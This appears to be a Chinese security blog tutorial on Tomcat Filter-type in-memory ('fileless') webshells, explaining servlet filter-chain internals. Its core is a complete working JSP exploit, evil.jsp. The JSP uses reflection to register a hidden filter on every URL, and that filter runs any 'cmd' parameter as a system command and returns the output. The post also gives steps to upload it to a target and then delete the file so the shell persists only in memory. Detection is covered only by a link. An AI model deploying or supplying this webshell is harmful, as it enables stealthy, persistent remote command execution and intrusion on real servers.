这里写目录标题
0x00 前言
传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。
filter型内存马就是通过动态添加恶意filter组件到正在运行的Tomcat服务器中。导致http请求通过该filter时会执行该filter的恶意代码
今天说的时Tomcat型内存马,其大概分为以下三类
- Filter型
- Servlet型
- Listener型
可以发现,其就是利用了Java Web核心的三大组件.正应了上面那句话Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中去
内存马利用条件:
Servlet在3.0版本之后才能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,所以说只有在Tomcat7.0以上才能够动态添加组件
0x01环境搭建
搭建servlet环境跟的这篇
https://blog.csdn.net/gaoqingliang521/article/details/108677301
PS:其中在jar导入时,需要导入不止servlet-api
0x02 前置知识
在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。
context具体来说:
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context
PS:看ServletContext接口我们也就知道了,context能够对其所属的Web应用的资源进行访问和操作,能对它下面所有的Servlet中的各种资源进行访问、添加、删除等
package javax.servlet;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;
public interface ServletContext {
String TEMPDIR = "javax.servlet.context.tempdir";
String getContextPath();
ServletContext getContext(String var1);
int getMajorVersion();
int getMinorVersion();
int getEffectiveMajorVersion();
int getEffectiveMinorVersion();
String getMimeType(String var1);
Set getResourcePaths(String var1);
URL getResource(String var1) throws MalformedURLException;
InputStream getResourceAsStream(String var1);
RequestDispatcher getRequestDispatcher(String var1);
RequestDispatcher getNamedDispatcher(String var1);
/** @deprecated */
Servlet getServlet(String var1) throws ServletException;
/** @deprecated */
Enumeration getServlets();
/** @deprecated */
Enumeration getServletNames();
void log(String var1);
/** @deprecated */
void log(Exception var1, String var2);
void log(String var1, Throwable var2);
String getRealPath(String var1);
String getServerInfo();
String getInitParameter(String var1);
Enumeration getInitParameterNames();
boolean setInitParameter(String var1, String var2);
Object getAttribute(String var1);
Enumeration getAttributeNames();
void setAttribute(String var1, Object var2);
void removeAttribute(String var1);
String getServletContextName();
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class var2);
extends Servlet> T createServlet(Classvar1) throws ServletException;
ServletRegistration getServletRegistration(String var1);
Map ? extends ServletRegistration> getServletRegistrations();
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
extends Filter> T createFilter(Classvar1) throws ServletException;
FilterRegistration getFilterRegistration(String var1);
Map ? extends FilterRegistration> getFilterRegistrations();
SessionCookieConfig getSessionCookieConfig();
void setSessionTrackingModes(Setvar1);
Set getDefaultSessionTrackingModes();
Set getEffectiveSessionTrackingModes();
void addListener(String var1);
extends EventListener> void addListener(T var1);
void addListener(Class var1);
extends EventListener> T createListener(Classvar1) throws ServletException;
JspConfigDescriptor getJspConfigDescriptor();
ClassLoader getClassLoader();
void declareRoles(String... var1);
}
0x03 简单demo
我们写一个filter,这个filter会获取cmd参数,然后exec
当我们输入cmd=calc时就会命令执行
这只是个演示,实战中受害者可不会让你去写一个filter。此时我们就需要动态加载组件,将该filter直接加载到内存中去
0x04 Filter型 内存马
filter原理分析
我们的目的就是在filterchain中添加恶意filter来充当webshell角色
首先我们来分析一下filter的加载过程
在此处打上断点
调用栈如下
我们从invoke看起
在 StandardWrapperValve#invoke中会利用 ApplicationFilterFactory来创建filterChain(filter链,此时里面没有东西,后期会根据请求的url来往进填充相应的filter),我们跟进这个方法
首先创建一个ApplicationFilterChain对象
然后在42行利用getparent获取wrapper的父亲context(即当前 Web应用),然后从context中获取该web应用所有的filters即这里的filtermaps
可以看到一共有两个,一个是系统自带的filter一个是我们写的,filtermaps本质就是一个过滤器与作用url的对应表
下面是获取请求路径,可以看到为/test
接下来会根据请求路径在filtermaps里面寻找对应的filter名称
如果找对匹配的,则通过addFilter函数将该filter的filterConfig添加到filterChain中,跟进addfilter
现在,我们的filterchain装配完毕,里面存在着所有与请求url匹配的filter的filterconfig
return
继续往下走,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上每个filter的 doFilter方法
跟进doFilter,发现调用了internalDoFilter方法,继续跟进
可以看到,首先取出filterchain上第一个filterconfig,然后调用getFilter方法取出对应的filter即Filter1
在92行调用了Filter1的dofilter方法
跟进,调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码
以下是访问请求时调用filter的整个过程,来自宽字节安全
简单总结一下获取filter过程:
- 根据请求的url,从context的FilterMaps 中找出与之 URL 对应的 Filter 名称
- 再根据filter名称从FilterConfigs中寻找对应名称的FilterConfig(applicationfilterconfig对象)
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- 对于chain中的每一个filterconfig,先从FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
不难看出,大概就是先获取context中的FilterMaps然后与urlpattern匹配,对匹配上的filter进行挨个调用。那我们可以添加恶意filtermap(作用域为/*)到filtermaps中去,这样当 urlpattern 匹配的时候就会去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发dofilter恶意代码
Filter型内存马注入
我们现在目的是将恶意的filtermap添加到filtermaps中去并创建对应的filterconfig以及filterdef,那如何添加呢
这里就需要StandardContext,因为filtermaps是其成员变量
以下是如何获取standardContext对象
//参考https://goodapple.top/archives/1355
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
获取到standardContext对象后,我们就可以动态注册恶意filter了
standardContext有三个成员变量需要注意一下,分别是 filterConfigs,filterDefs,filterMaps。我们只有将我们的filter添加到这三个里面才算注册成功,如果我们可以控制这几个变量我们就可以注入我们的内存马
FilterDefs:存放FilterDef的数组 ,而FilterDef 中存储着我们过滤器名,过滤器实例 等基本信息
filterConfigs:存放filterConfig的map,键为过滤器名,值为FilterConfig对象其中主要存放 FilterDef 和 Filter对象等信息
filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName和其对应的URLPattern
大致流程如下:
- 攻击者创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig中
- 创建一个FilterMap ,将我们的 Filter 与urlpattern(一般为/*) 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
StandardContext会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,每次请求时都会将我们的filter加入到filterchain中去
最终EXP如下
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
/**
* 将filtermap添加到filtermaps最前面,这样最终我们的恶意filter就在chain的最前面
*/
standardContext.addFilterMapBefore(filterMap);
/**
* 将filterconfig(即ApplicationFilterConfig对象)添加到filterconfigs中
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
//动态注册完毕,现在存在了一个拦截/*的filter
out.print("Inject Success !");
}
%>
具体动态注册流程还可以以下博客动态注册filter一节
https://goodapple.top/archives/1355
0x05 漏洞复现
将上面exp保存为evil.jsp上传到目标机器,并访问
显示Inject Success !说明filter注入成功,此时我们注入的恶意filter在filterchain的最前面,我们只需输入?cmd=command即可执行任意命令
PS:filter已经注入到内存中,此时即可删掉evil.jsp,所以说是无文件落地webshell
0x06 内存马排查方法
参考
https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#74f91dcf
0x07 总结
- 首先必须熟悉访问页面时filter的加载过程
- 在此基础上,通过修改context中的filtermaps等成员变量来达到动态注册filter
- 注册filter后,即可利用filter执行任意命令
0x08 参考文章
https://goodapple.top/archives/1355
https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na
https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell
https://www.cnblogs.com/nice0e3/p/14622879.html
https://xz.aliyun.com/t/10362
https://paper.seebug.org/1441